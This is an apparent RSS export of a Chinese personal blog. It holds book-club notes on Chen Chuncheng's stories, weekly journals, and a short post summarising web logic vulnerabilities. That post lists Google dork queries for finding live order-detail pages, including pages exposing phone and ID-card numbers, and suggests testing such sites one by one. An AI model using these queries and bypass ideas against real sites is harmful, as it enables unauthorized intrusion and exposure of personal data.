这是一场关于寻找与藏匿的冒险：铸剑与酿酒、夜晚静谧的湖泊&lt;/p&gt;
&lt;p&gt;问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你也会有类似的幻想吗？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;竹峰寺 &amp;amp; 李茵的湖 —— 何以抵御世间的无常&lt;/p&gt;
&lt;p&gt;竹峰寺的故事是有两条线索交织起来的，
一个是关于钥匙的故事，是讲我把钥匙藏到竹峰寺的故事，因为我回到老家，发现老屋已经都被拆迁了，只剩下一把钥匙，我则希望将仅剩的旧物藏起来，因为我认为，如果一样事物以后我还能找到，那么我就永远不会忘记&lt;/p&gt;
&lt;p&gt;另一个是关于石碑的故事，则是讲破文革四旧的时候，竹峰寺的和尚们将一块历史悠久的石碑藏起来，那块石碑叫蛱蝶碑，是相传寺庙里有人见到一只蝴蝶曾经落在大佛像的头顶。和尚们藏好石碑后逃离下山，等到文革结束后，执掌寺庙的和尚希望能找到这块暗藏的石碑，来让寺庙更加知名，但是老和尚们当初立下誓言怎么也不肯说出具体的隐藏位置&lt;/p&gt;
&lt;p&gt;故事的结尾，两条线索串起来，我在藏钥匙的过程中，推断出了和尚们藏石碑的位置，但我并没有说出藏匿的地点，而是将钥匙藏在石碑的旁边，故事到这里也就结束了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;确定无疑的事情有这么一两桩，也就足以抵御世间的种种无常了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;陈春成的文字真的如同《竹峰寺》这个标题一样，你仿佛置身在竹林中散步。&lt;/p&gt;
&lt;p&gt;我摘录了两段给我印象最深的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有时从书页中滑落下一片干枯的芍药花瓣。也不知是谁夹在那里的，也不知来自哪个春天。已经干得几乎透明，却还葆有一种绰约的风姿。而且不止一片。这些姿态极美的花瓣，就这样时不时地，从那本娓娓述说着世间一切美尽是虚妄的书卷里，翩然落下&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那时候家里还养着一只小狗，然后就带着它去后山上完，我老家在浏阳，后山上以前全是花炮厂，就是做烟花爆竹的。不过都拆迁了，都已经长满了和我差不多高的草了，就带着我的小狗，抄起一根不知道从哪里来的木棍，一路探险。偶尔能碰到没有拆干净的断壁残垣，然后回忆起小时候是不是在这里玩过，偶尔回去跟爸妈讲起某个位置，他们就会跟我讲那时的故事，那个花炮厂曾经因为失误爆炸过，伤了好几个人啦，哪个花炮厂的老板跑路了呀等等。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想象在黄昏和黑夜的边界，有一条极窄的缝隙，另一个世界的阴风从那里刮过来。坐了几个黄昏，我似乎有点明白了。有一种消沉的力量，一种广大的消沉，在黄昏时来。在那个时刻，事物的意义在飘散。在一点一点黑下来的天空中，什么都显得无关紧要。你先是有点慌，然后释然，然后你就不存在了。那种感受，没有亲身体验，实在难于形容。如果你在山野中，在暮色四合时凝望过一棵树，足够长久地凝望一棵树，直到你和它一并消融在黑暗中，成为夜的一部分——这种体验，经过多次，你就会无可挽回地成为一个古怪的人。对什么都心不在焉，游离于现实之外。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这段话是整篇当中，我最有感触的，一些童年的回忆很容易就涌了上来。&lt;/p&gt;
&lt;p&gt;以前我老家还在农村的时候，小学放学后，那时候爸妈还没回家，作业又早就写完了，然后就回到放学回家的那条路上，正好路边有一颗小树，就坐在那下面，看着太阳一点点落山，望着那条通往外面的小路。在乡下，你是能看到太阳一点点被远处的山给遮挡的，那个时候也不会想太多，也没有太多负担，就像坐在无垠的旷野中发呆一样，感受到自己一点点的淡出这个世界，只有等到有人走到你面前时，你才惊觉，刚刚好像发生了点什么。&lt;/p&gt;
&lt;p&gt;李茵的湖，是一个整体读下来都比较灰暗，伤感的故事。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一段记忆，共同经历过的人早都随手抛下，她却当珍宝一样收藏至今。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;故事里我在和李茵谈恋爱的时候，发现她非常怀念全家出去郊游时的一张全家福，照片里有一个湖，是她对过去美好的记忆的一丝寄托。他们俩一直在找那个“湖”，几乎要把那个小城市所有的湖都逛完了，但是仿佛那个“湖”从不存在过。而作者又在机缘巧合之下得知了那个“湖”的位置，而那个湖已然被填埋掉建成了一个停车场了。那个湖原不是一个湖，至少远没有湖那么大，但对于孩子般大小来说，也算是个湖了。当李茵知道那个“湖”不在了之后，一贯淡漠的她，却也叹息一口气，仿佛心中对过去美好回忆的寄托不存在了一般。&lt;/p&gt;
&lt;p&gt;其实，宁愿不要去找到那个湖，就算知道了真相也不要告诉李茵&lt;/p&gt;
&lt;p&gt;关于李茵的湖，其实我也还有一个故事可以和大家分享，说来也是我所经历过的一个有点类似聊斋的故事，但是我至今还记得&lt;/p&gt;
&lt;p&gt;关于这个主题，何以抵御世间的无常，我也还有一个故事可以和大家分享，说来也是我所经历过的一个有点类似聊斋的故事，但是我至今还记得&lt;/p&gt;
&lt;p&gt;这个故事发生在我刚进高中的时候，一次去上课，我和我的同学路过走廊的时候，我突然看到了一个熟悉的女生身影，于是我喊了她两声，但她没有回应我，我以为她没看见我就走了&lt;/p&gt;
&lt;p&gt;这个熟人是谁呢，是我的初中同学，我和她当时都是化学课代表，并且由于我当时化学学的比较好，所以很多时候也跟她讲题，并且我们当时也在一个小组，我是组长&lt;/p&gt;
&lt;p&gt;初中毕业后，其实我记得我和她应该不是在同一所高中的，所以那次见到她我也很意外，但没往心里去&lt;/p&gt;
&lt;p&gt;那为什么我会见到她呢，故事的答案很快就来了。高一的寒假，我们初中同学聚会，我没看到她。吃完饭结束后，一个很调皮捣蛋的同学，突然感慨了一句，说人生真的很无常，一年前还活生生的站在你面前的人，转眼就去世了。我当时大惊，忙问是谁，这时候估计答案大家也知道了&lt;/p&gt;
&lt;p&gt;就是我路过走廊，连喊了两声，没有回应我的那个她&lt;/p&gt;
&lt;p&gt;她得白血病去世了&lt;/p&gt;
&lt;p&gt;我后来屡次搜索我的记忆，我一定是喊了她的名字的，并且我身边的同学还复述了一遍，哦原来她叫___！&lt;/p&gt;
&lt;p&gt;只是后来，我的同学也不记得了。我每次想起来这个事情的时候，是真的后悔，后悔当初为什么没有多喊几下她的名字，也许会发生什么呢&lt;/p&gt;
&lt;p&gt;问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“确定无疑的事情有这么一两桩，也就足以抵御世间的种种无常了”，你有确定无疑的事情吗&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;传彩笔 &amp;amp; 红楼梦弥撒 —— 真理的探寻&lt;/p&gt;
&lt;p&gt;我没有打算按照原来这本书每一篇的顺序来讲，而是重新组合了下。因为第二篇《竹峰寺》也写的很美，所以我们先讲第三篇和第六篇&lt;/p&gt;
&lt;p&gt;这两篇为什么我想放在一起讲呢，因为我觉得这俩都有点像科幻小说&lt;/p&gt;
&lt;p&gt;传彩笔&lt;/p&gt;
&lt;p&gt;传彩笔的故事大概是这样的，主人公是一个县城的作家，偶尔写点东西，他在梦中与一位老者讨论文学，老人临走前送给了他一支笔，可以写出这个世界最伟大的作品，但是其他人无法看到。&lt;/p&gt;
&lt;p&gt;当我获得了彩笔之后，有一段形容我写作的句子：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;起初，我的脑子像一面巨大的中药柜，词汇分门别类地躺在无数抽屉里，我清楚它们的位置，熟练地抓取需要的文字，配成需要的句子。该芬芳的芬芳，灿烂的灿烂。到后来，文字纷纷扬扬从天而降，我像在雪中舞剑，总能在万千雪花中击中最恰当的一朵。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可是当我真正写出了伟大的作品后，“我渴望听到别人的评价，来将这狂喜落到实处”&lt;/p&gt;
&lt;p&gt;我甚至想，如果我维持着我原来的天分，还可与他人分享写作的乐趣，“那种欢乐虽然细碎，毕竟是细碎的珠玉”&lt;/p&gt;
&lt;p&gt;最后，我将这只彩笔送给了另一个位少女，也不再写作了。&lt;/p&gt;
&lt;p&gt;故事就是这样的，不过相信大家看到这个标题的第一眼，应该都条件反射的念出李商隐的那句诗&lt;/p&gt;
&lt;p&gt;“我是梦中传彩笔，欲书花叶寄朝云”&lt;/p&gt;
&lt;p&gt;李商隐想要变成江淹，得到梦中的那只彩笔，写下清丽的词句，寄给巫山的神女&lt;/p&gt;
&lt;p&gt;我们都认为江郎才尽，是因为江淹失去了那一只彩笔，其实不然，陈春成从另一个角度解读，他认为江淹原本就才华横溢，传世之作都写于得笔之前，因此才有得笔的资格。得了那支笔后，他成了真正的天才，写出了伟大的诗，但无法示人，因此被误解为才尽。他也许失口对人说过那支笔的存在，世人根据他的创作经历，曲解了故事的原委。&lt;/p&gt;
&lt;p&gt;问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“如果你可以写出伟大的作品或领悟宇宙的真理，但只有你自己能领受，无论你生前或死后，都不会有人知道你的伟大——你愿意过这样的一生吗？”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不知道大家对这个问题的看法，不过我相信，对于我来说，我是会选择的。&lt;/p&gt;
&lt;p&gt;我最开始看到这个故事的时候就想到了刘慈欣的《朝闻道》，所以这也是为什么我觉得《传彩笔》更像一篇科幻的小说一样&lt;/p&gt;
&lt;p&gt;这里也给没看过的小伙伴简单讲一下，《朝闻道》讲的是在世界上最大的粒子加速器即将建成之际，就在科学家们以为大一统模型即将诞生的时候，来自宇宙外部的声明，我们称之为排险者，毁灭了科学家们建造的粒子加速器。因为大一统模型的建立会导致宇宙终极真理被发现，从而带来宇宙的毁灭&lt;/p&gt;
&lt;p&gt;但是探索宇宙的终极真理，是每一位科学家梦寐以求的夙愿，于是排险者在沙漠上制造了一个“真理祭坛”，科学家们在上面得到自己要知道的真理，之后立刻被毁灭。&lt;/p&gt;
&lt;p&gt;我觉得我就像朝闻道里面的科学家们一样，我也是愿意的，没有理由，如果非要有的话，那就是用登山者的话把，因为它就在那里&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;写作到底是为了取悦自己还是取悦他人呢？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们把问题缩小一点，前一个问题很大，算是一个比较偏激的问题了，这个问题就比较小了，只是谈谈写作&lt;/p&gt;
&lt;p&gt;罗兰巴特提出过一个理论，“作品在完成之际，作者就已经死亡，剩下的的解读工作，就是读者的权利了”。有人解读为，文本，作者，读者，这三者其实是互相影响的，即原创，阅读，互动。&lt;/p&gt;
&lt;p&gt;所以我其实认为，写作，你可以把取悦自己当做目标，但如果它在完成了取悦自己的功能后，还能有机会去取悦他人，那这也是我所乐意见到的，但两者之中，我更偏向于取悦自己。&lt;/p&gt;
&lt;p&gt;开个玩笑，有没有哪些场景里面写作就是为了取悦他人呢？比如程序员们日常在写技术文章或者文档的时候，其实很大一部分原因都是为了取悦他人，不然为什么说程序员最讨厌的事里面有一件就是写文档了，因为你是要为他人考虑，这个过程很枯燥，很反人类的。&lt;/p&gt;
&lt;p&gt;其实可以看到，文学和科学在某种程度上是相通的，原来宇宙的终极真理就是红楼梦&lt;/p&gt;
&lt;p&gt;尺波 &amp;amp; 酿酒师 —— 庄周晓梦&lt;/p&gt;
&lt;p&gt;这几篇我很想放在一起，因为这三篇或多或少都有一些庄周梦蝶的感觉
酿酒师这篇，可能比较特别，就是单纯地讲了一个故事，读完后你甚至觉得不知道讲了什么&lt;/p&gt;
&lt;p&gt;酿酒师这篇，真的太像庄子的庖丁解牛了，尝试对比下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;他造酒之时，一举手一投足都好看极了，都合乎节拍，行云流水，洋洋洒洒，轻快舒畅，像一种舞蹈，自身生出韵律。他一边投米，一边低声哼唱。封口后，坛中如鸣佩环&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;只有达到了一种境界，才能一举一动，其实程序员写代码有时候也有这种感觉，当你觉得写得很舒服的时候，敲代码就像是在弹钢琴一样美妙&lt;/p&gt;
&lt;p&gt;为什么喜欢这种故事呢，就像聊斋一样，故事就是故事，听完了就结束了，不需要费尽心思，去解读其中的意义&lt;/p&gt;
&lt;p&gt;裁云记 &amp;amp; 音乐家 —— 逃离&lt;/p&gt;
&lt;p&gt;裁云记的故事比较好玩，讲的是元首来一个城市视察，开了个玩笑，觉得天上的云像抹布一样。我的工作就是在一个云彩工作站里，每天的工作就是将云朵裁剪成各种形状。&lt;/p&gt;
&lt;p&gt;工作之余，我有了很多的爱好，比如花三个月时间研究建文帝的去向，又花了几个月时间研究永动机，但是我发现这么多爱好就像很多岔路口，我不知道哪个更适合我，于是我就在分叉口徘徊了很久&lt;/p&gt;
&lt;p&gt;之后我去拜访了一个我的老师的老朋友，老人跟他说，“有的人注定会掉进某个岔路口去，而有的人就只会在外面徘徊”&lt;/p&gt;
&lt;p&gt;老人也跟讲述了自己是如何落入一个陷阱里的，他偶然间得到了一本博物馆清退的古书，他在研读后，发现里面的对对子游戏包含了玄机，于是他就花费了一生的精力去研究，后来他发现，如果将上面的对联补充完整，那么世间文字会尽数消失，天地复归于混沌。&lt;/p&gt;
&lt;p&gt;这时候，我好像就恍然大悟了，并决心用自己一生的时间去走遍所有的岔路口。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我可以花上一百年在远古的深海潜行，一百年去追踪建文帝，再花个几世纪去死磕永动机，剩下的时间我将在所有洞穴间从容游荡。我将通晓一切草木的名称，熟知所有星星的温度。如果掉进某个陷阱，那就死心塌地，一往无前。晨光熹微中，我的手指从一排书脊上慢慢拂过，像抚摸着琴键，然后停下，抽出一本，就着窗前的光亮，读起来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;音乐家，斯大林严厉的反对萨克斯，并且所有的谱曲都必须经过层层的筛查，主角古廖夫曾得过一种病，获得了通感的能力，他就用通感来来审核音乐，不用听就能想象出画面，并且写出其中的内容。上级就像审核作文一样来审核曲子的意识形态问题。
但是他的音乐才华也一直被压抑着，在他老年退休之后，他所幻想出的一个自己的分身，叫穆辛，靠着幻想，终于克服了恐惧。和他一起把自己曾经最得意的曲子给演奏出来了。&lt;/p&gt;
&lt;p&gt;这篇故事有很多的伏笔和象征，并且最后演奏的环境，蓝色的大海，在深海中出现的潜水艇，也很第一篇互相照应了&lt;/p&gt;
&lt;p&gt;裁云记和音乐家，这两篇故事都一些荒诞，云朵、音乐，这些无形的事物，云彩与音乐，这两者人类最不能控制的东西，却都要被压抑着形状必须一致，意识形态必须符合官方的设定，&lt;/p&gt;
&lt;p&gt;在这其中生活的人，也逐渐变得荒诞起来。裁云记中的我，幻想着去制造永动机，去追逐建文帝的下落。其实我或多或少读到了一点生活中的无奈。因为工作中，我们都是要明确的结果的，很少关注你的过程，于是大家都被压抑着。有时候工作久了，我就很头疼那些，我也只想去研究一些没有结果的，而是享受这个过程，比如去钻研黎曼猜想，学习下量子力学，我知道这些东西都是没有用的，但是我喜欢这样一个过程。&lt;/p&gt;
&lt;p&gt;建文帝的故事，这个在明朝那些事中有讲，相信看过的朋友应该是知道的，也简单和大家讲讲。明朝朱元璋去世后，继任的是建文帝，但朱元璋也分封了藩王，导致建文帝，此时朱棣在北京起兵，靖难之役，夺得帝位。建文帝的下落却不知所踪&lt;/p&gt;
&lt;p&gt;音乐家的故事就更加的，让人难受了。&lt;/p&gt;
&lt;p&gt;其实我想简单讲讲，但是出了门就不能说了，那是关于2022年的一些回忆了&lt;/p&gt;
&lt;p&gt;(以下省略，白纸🐶&lt;/p&gt;
&lt;p&gt;最后的问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;这9篇小说中，你最喜欢哪一篇，为什么&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你有哪些印象最深的句子、段落，可以朗读一下&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;参考资料&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://book.douban.com/review/12902710/&lt;/li&gt;
&lt;li&gt;https://www.xiaoyuzhoufm.com/episode/6491b31d86eb9d7e47d43ff0?s=eyJ1IjogIjY0YjhiYzc0ZWRjZTY3MTA0YWRhNmU1OCJ9&lt;/li&gt;
&lt;li&gt;https://www.xiaoyuzhoufm.com/episode/64a17c30ec448b75fd97df70&lt;/li&gt;
&lt;li&gt;https://www.xiaoyuzhoufm.com/episode/64af399e05c6fdf706d135c2&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报20 治愈你的不是梦境</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A520-%E6%B2%BB%E6%84%88%E4%BD%A0%E7%9A%84%E4%B8%8D%E6%98%AF%E6%A2%A6%E5%A2%83/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A520-%E6%B2%BB%E6%84%88%E4%BD%A0%E7%9A%84%E4%B8%8D%E6%98%AF%E6%A2%A6%E5%A2%83/</guid><pubDate>Wed, 08 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报20 治愈你的不是梦境&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmT1CSqPZumk4fnf63zSjnRABqahnhScNcP1svNHuqxdv5.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到《奇葩说》关于对“不睡觉药”的探讨，这个辩题对反方当然是很容易的，比如小鹿提到的，会造成内卷，是一个很合情合理的推断。作为正方则很难，但是我听到正方二辩的辩词时，被深深地打动了，摘录如下：&lt;/p&gt;
&lt;p&gt;首尔姐告诉我们说梦境是人逃避现实的一种方式，我非常赞同，
可是你要知道梦境这件事情自己不能选择，你们有多久时间没做过梦了，你有多久时间可以控制自己梦境的发生。&lt;/p&gt;
&lt;p&gt;我觉得与其等待梦境，不如创造梦境。&lt;/p&gt;
&lt;p&gt;当我遇到所有不开心的时候，我第一反应绝对不会去睡觉，因为很可能睡醒之后你会感觉更失落，问题有时候并没有解决。
我把它写下来，按我一切想要的样子写下来，文字是可以永久记忆的，当若干年之后我翻出来读这些文字的时候，只要我仍然能够记得我当时描写的场景，我的亲人就没有离去，只要我还能记得我的爱人，我的爱人就没有离去，&lt;/p&gt;
&lt;p&gt;所以治愈你的不是梦境，而是你刚才写下来的这一切&lt;/p&gt;
&lt;p&gt;💭对于历史类书籍阅读的思考&lt;/p&gt;
&lt;p&gt;周日收到了文杰的邀请，一场别开生面的草地分享会，记录下自己的一些想法&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;文杰分享的时候有个点让我印象深刻，&quot;大家休息的短暂三分钟，十年过去了。&quot;让我想起一句话，历史书翻过一页，背后就是无数个人的一生&lt;/li&gt;
&lt;li&gt;历史有时候是成王败寇，是从结果去反推原因的。譬如我们都知道袁绍被曹操打败了，但我们不能就因此觉得袁绍很蠢，b站有个up叫渤海小吏，深入分析了官渡之战的每一个细节，用事实告诉我们，历史是有因果的，是有细节的&lt;/li&gt;
&lt;li&gt;以前读过一本书叫《芥子》，芥子和须弥是相对的，都是佛教用语。须弥是无穷大，芥子就是无穷小的意思。所以，《芥子》这本书就是讲历史上的小人物，比如，曲有误，周郎顾。这本书不会去讲周郎，而是写那个弹琴的侍女，写她的生活，写她的情感，写她弹琴时那一点调皮的心理活动。这也我所喜欢的历史故事&lt;/li&gt;
&lt;li&gt;我也读《明朝那些事》，我觉得明朝那些事写的最好的两个人，也是最好哭的两个故事，一个是李时珍，一个是徐霞客&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;“无论徐阶是否斗倒了严嵩，无论张居正是不是一个杰出的改革家，都不关李时珍的事，他只是一个医生。他知道，生命很珍贵，也很柔弱，作为一个医生，有责任和义务去维护生命的存在。”
“我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;徐霞客的原话是，吾荷一锸来 何处不可埋吾骨耶。就是说我扛着我的锄头遍历天下，哪一处地方不可以埋葬我呢。这是我语文老师教我们的，我能感受到她对于徐霞客的喜爱，刚好当年明月，也把他放在结尾，用这样一个故事，收束了长达两百多年的明朝。这也是作者想表达的：成功就是，用我们自己的方式，度过一生&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://xlog.viki.moe/js-arguments-can-access-each-other&quot;&gt; JavaScript 的函数参数竟然能相互访问到？ - Viki &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dongjunke.cn/posts/2023/11/05/32863.html&quot;&gt; 我们在反对微博「访客记录」时到底在反对什么？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.eaimty.com/2023/opensource-project-based-on-hormone/&quot;&gt; 基于荷尔蒙开发的开源项目 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/Yz16UDZ3a4zDIHGM1TVDmg&quot;&gt; 生日快乐，和菜头先生 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://archive.li/WFsPCselection-391.20-397.21&quot;&gt; 当人们纪念前总理时 到底在纪念什么 ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最近在读📚&lt;/p&gt;
&lt;p&gt;《失败者的春秋》 &lt;a href=&quot;https://book.douban.com/subject/34431806/&quot;&gt;https://book.douban.com/subject/34431806/&lt;/a&gt;
书友推荐的，历史类的书籍也读过很多了，这一本需要有一定的历史基础，不过春秋时期的很多历史故事我已经知道得差不多，权当是复习了。&lt;/p&gt;
&lt;p&gt;《安娜·卡列尼娜》 &lt;a href=&quot;https://book.douban.com/subject/34894032/&quot;&gt;https://book.douban.com/subject/34894032/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最近在追📺&lt;/p&gt;
&lt;p&gt;《镀金时代》&lt;a href=&quot;https://movie.douban.com/subject/26361853/%20&quot;&gt; https://movie.douban.com/subject/26361853/ &lt;/a&gt;
这类型的剧更经典的应该看《唐顿庄园》，也不知道是什么缘由开始喜欢上了这部剧，其中浓厚的历史气息，沉郁顿挫的BGM，仿佛一张历史的画卷就在你的前面铺开。（当然女主好漂亮啊！越看越养眼）&lt;/p&gt;
&lt;p&gt;最近在玩🎮&lt;/p&gt;
&lt;p&gt;漫威蜘蛛侠2.0 ！爆米花游戏好上头😁&lt;/p&gt;
</content:encoded></item><item><title>逻辑漏洞学习总结（一）</title><link>https://rayepeng.net/posts/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93%E4%B8%80/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93%E4%B8%80/</guid><pubDate>Tue, 07 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;逻辑漏洞学习总结（一）&lt;/p&gt;
&lt;p&gt;实战经验还是比较少，但是打CTF（水比赛）的经历很多🐶，感慨自己对于漏洞的理解不够深刻，于是准备开始从逻辑漏洞先开始总结&lt;/p&gt;
&lt;p&gt;参考大佬们的经验，简单总结了下逻辑漏洞的思维导图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmehrQf3MLQrQUu3hRh3bbNC1vrJubpeGNzvmZHf3HLRXQ.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些常见的逻辑漏洞分析&lt;/p&gt;
&lt;p&gt;任意密码找回/任意手机号修改&lt;/p&gt;
&lt;p&gt;经典流程：
验证old手机号/old密码 -&amp;gt; 提供新的手机号/密码 -&amp;gt; 提交修改&lt;/p&gt;
&lt;p&gt;第一步，验证原有手机号或者密码，如果可以修改返回的response包，那么就可以绕过这一步骤，&lt;/p&gt;
&lt;p&gt;此时如果第三步没有验证第一步认证是否成功，则可以任意绑定手机号/修改任意密码&lt;/p&gt;
&lt;p&gt;并发抽奖/签到&lt;/p&gt;
&lt;p&gt;抽奖、签到并发问题，通过多次重放可以累计登录天数，获得多个抽奖券等&lt;/p&gt;
&lt;p&gt;一般的解决办法都是通过CAS操作来进行的，CAS操作包含三个参数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;内存位置V&lt;/li&gt;
&lt;li&gt;期望的原值A&lt;/li&gt;
&lt;li&gt;新值 B&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CAS首先检查V种的当前值是否和A匹配，如果匹配，则更新为B，否则不作操作。这里的整个操作都是原子的，从而保证同步&lt;/p&gt;
&lt;p&gt;前端JS&lt;/p&gt;
&lt;p&gt;多翻翻前端JS，可以找到很多点，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;隐藏的接口&lt;/li&gt;
&lt;li&gt;js source map 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主要参考这篇：
[https://xz.aliyun.com/t/9453]&lt;/p&gt;
&lt;p&gt;登录态泄露&lt;/p&gt;
&lt;p&gt;在一些H5场景、小程序场景中，很多开发者偷懒，其实也是因为登录态的设计过于复杂，导致简单的通过openid等方式直接验证&lt;/p&gt;
&lt;p&gt;这种案例就比较多了，多见于微信生态体系下&lt;/p&gt;
&lt;p&gt;报错页面&lt;/p&gt;
&lt;p&gt;报错页面也是可以返回很多信息的，最常见的就是CTF种通过报错页面来实现模版注入&lt;/p&gt;
&lt;p&gt;实战场景中，报错页面可能会泄露很多敏感的信息，比如登录态🐶(还真遇到过&lt;/p&gt;
&lt;p&gt;Google hacking扩展&lt;/p&gt;
&lt;p&gt;知道了这么多逻辑漏洞，怎么去测试呢？&lt;/p&gt;
&lt;p&gt;通过Google hacking语法能找到很多的站点，一个个测就好了，比如我们找支付功能的，就可以通过这样搜素&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inurl:m intitle:订单详情 inurl:id=
我的订单 订单详情
inurl:order 订单详情
inurl:wap intitle:订单详情
inurl:m intitle:订单详情
inurl:php intitle:订单详情
title:订单详情 手机号
site:.com title:订单详情
title:订单详情 身份证
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmW3b7qKAXwC4ZAGpkwfAML8W9MFRbqRyJ3FLmanAt9KUs.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过这个思路就能找到很多实际的支付站点，并且一个个去验证测试&lt;/p&gt;
&lt;p&gt;如果漏洞比较通用的话，就可以编写下poc集成到xray或者其他被动扫描工具了&lt;/p&gt;
&lt;p&gt;预计下一篇就来分享下对这些站点的挖掘🤔，先水完这一篇好了&lt;/p&gt;
&lt;p&gt;Reference&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[https://xz.aliyun.com/t/12948]&lt;/li&gt;
&lt;li&gt;[https://cloud.tencent.com/developer/article/1591315]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSappQmVnwFcLNut88jRcKTqps657UdD7Hf7D49TxUYQo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报19 身在无间，心在桃源</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A519-%E8%BA%AB%E5%9C%A8%E6%97%A0%E9%97%B4%E5%BF%83%E5%9C%A8%E6%A1%83%E6%BA%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A519-%E8%BA%AB%E5%9C%A8%E6%97%A0%E9%97%B4%E5%BF%83%E5%9C%A8%E6%A1%83%E6%BA%90/</guid><pubDate>Mon, 30 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报19 身在无间，心在桃源&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiczinjsznafowe7lawtyemsfqdvsjnh4kf5hga3ud5groiirog7sq.png&quot; alt=&quot;Group 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;周一去健身房撸了个铁，重量加的有点大，导致上肢疼了一周，差点羽毛球打打不了了🤣。周二则是1024程序员节，参加了公司的线下活动收获了一大批礼品，很开心。P5r10月底要退出XGP了，但又舍不得买，好在主线剧情到狮童宫殿了，第三学期恐怕来不及玩了，先肝着&lt;/p&gt;
&lt;p&gt;最近一周仿佛又陷入到了思维的泥淖中，怎么都迈不开腿。
我们总是期盼有一个银弹，能一口气解决我们遇到的问题。
但是事实上，所谓灵光闪现，所谓豁然开朗，都不过是一步一盘桓，一步一选择，初极狭才通人，复行数十步才能见到的&lt;/p&gt;
&lt;p&gt;刷到了毕导终于毕业的视频，虽然我没读过研，但是也能体会到写论文的不易，水论文的idea反倒是很多，正经的创新想法却一个都没有。可是除了真正的天才，谁又能在一瞬间想到那些惊为天人的想法呢？&lt;/p&gt;
&lt;p&gt;我也常常感到头疼，被leader怼思考不够。这时候就会陷入到王阳明格竹子的困境，天天对着竹子能想出什么呢？往往是最后自怨自艾，恨不得倒退回去变成一个简单的程序员，只要被人指挥去实现各种功能就好了&lt;/p&gt;
